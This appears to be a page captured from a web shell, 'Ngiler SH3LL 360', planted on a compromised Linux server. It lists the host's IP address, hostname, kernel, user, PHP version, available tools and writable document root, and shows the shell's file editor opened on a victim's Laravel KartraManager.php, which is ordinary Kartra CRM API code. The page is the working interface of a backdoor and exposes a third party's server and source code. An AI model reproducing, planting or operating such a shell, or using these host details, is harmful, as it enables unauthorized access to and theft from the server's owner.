Ngiler SH3LL 360
Home
Information
Create File
Create Folder
:
/
home
/
tbf
/
cursbackend
/
app
/
Managers
/
Information Server
MySQL :
OFF
Perl :
OFF
CURL :
ON
WGET :
OFF
PKEXEC :
OFF
Directive
Local Value
IP Address
89.40.16.97
System
Linux server.atelieruldeit.ro 3.10.0-1160.el7.x86_64 #1 SMP Mon Oct 19 16:18:59 UTC 2020 x86_64
User
tbf
PHP Version
7.3.33
Software
Apache
Doc root
Writable
close
Edit File :
KartraManager.php
| Size :
5.96
KB
Copy
<?php namespace App\Managers; use Carbon\Carbon; use GuzzleHttp\Client; use Illuminate\Database\Eloquent\Builder; use GuzzleHttp\Exception\GuzzleException; use GuzzleHttp\Psr7\Message; use GuzzleHttp\TransferStats; use Log; use Twilio; class KartraManager { public static function getCustomFields() { $data = [ 'app_id' => config('app.kartra_api_app_id'), 'api_key' => config('app.kartra_api_key'), 'api_password' => config('app.kartra_api_password'), 'actions' => [ '0' => [ 'cmd' => 'retrieve_custom_fields', ] ] ]; $ch = curl_init(); // CONNECT TO API, VERIFY MY API KEY AND PASSWORD AND GET THE LEAD DATA curl_setopt($ch, CURLOPT_URL,"https://app.kartra.com/api"); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query( $data ) ); // REQUEST CONFIRMATION MESSAGE FROM API… curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $server_output = curl_exec ($ch); curl_close ($ch); $server_json = json_decode($server_output); switch ($server_json->status) { case "Error" : // process what error was about break; case "Success" : // after this you can use the info passed from kartra in your own scripts. // Ex: $server_json->lead_details contains the lead details break; } } public static function fetchLeadId($email){ $lead_id = 0; $data = [ 'app_id' => config('app.kartra_api_app_id'), 'api_key' => config('app.kartra_api_key'), 'api_password' => config('app.kartra_api_password'), 'lead' => [ 'email' => $email, ], 'actions' => [ '0' => [ 'cmd' => 'search_lead', ] ] ]; $ch = curl_init(); // CONNECT TO API, VERIFY MY API KEY AND PASSWORD AND GET THE LEAD DATA curl_setopt($ch, CURLOPT_URL,"https://app.kartra.com/api"); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query( $data ) ); // REQUEST CONFIRMATION MESSAGE FROM API… curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $server_output = curl_exec ($ch); curl_close ($ch); $server_json = json_decode($server_output); if($server_json){ switch ($server_json->status) { case "Error" : // process what error was about break; case "Success" : // after this you can use the info passed from kartra in your own scripts. // Ex: $server_json->lead_details contains the lead details $lead_id = $server_json->lead_details->id; break; } }else{ return null; } return $lead_id; } public static function createLead($instance, $person, $editMode, $lead_id) { $country_code = str_contains($instance->phone, '+') ? substr($instance->phone, 0, -9) : "+40"; $data = [ 'app_id' => config('app.kartra_api_app_id'), 'api_key' => config('app.kartra_api_key'), 'api_password' => config('app.kartra_api_password'), 'lead' => [ 'email' => $person->email, 'first_name' => $person->first_name, 'last_name' => $person->last_name, 'phone' => $instance->phone, 'phone_country_code' => $country_code, 'gdpr_lead_status' => 2, 'company' => $instance->company_name, 'lead_preferred_time_zone'=> 'Europe/Bucharest' ], 'actions' => [ '0' => [ 'cmd' => $editMode ? 'edit_lead' : 'create_lead', ], '1' => [ 'cmd' => 'assign_tag', 'tag_name' => "A_cumparat_curs_din_funnel" ] ] ]; $ch = curl_init(); // CONNECT TO API, VERIFY MY API KEY AND PASSWORD AND GET THE LEAD DATA curl_setopt($ch, CURLOPT_URL,"https://app.kartra.com/api"); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query( $data ) ); // REQUEST CONFIRMATION MESSAGE FROM API… curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $server_output = curl_exec ($ch); curl_close ($ch); $server_json = json_decode($server_output); if($server_json){ switch ($server_json->status) { case "Error" : // Trebuie sa facem update la LEAD $instance->update(['katra_response' => $server_output]); break; case "Success" : $instance->update(['kartra_id' => $lead_id ? $lead_id : $server_json->actions[0]->create_lead->lead_details->id]); break; } }else{ $instance->update(['katra_response' => "Nu primesc raspuns de la Kartra"]); } } }
Back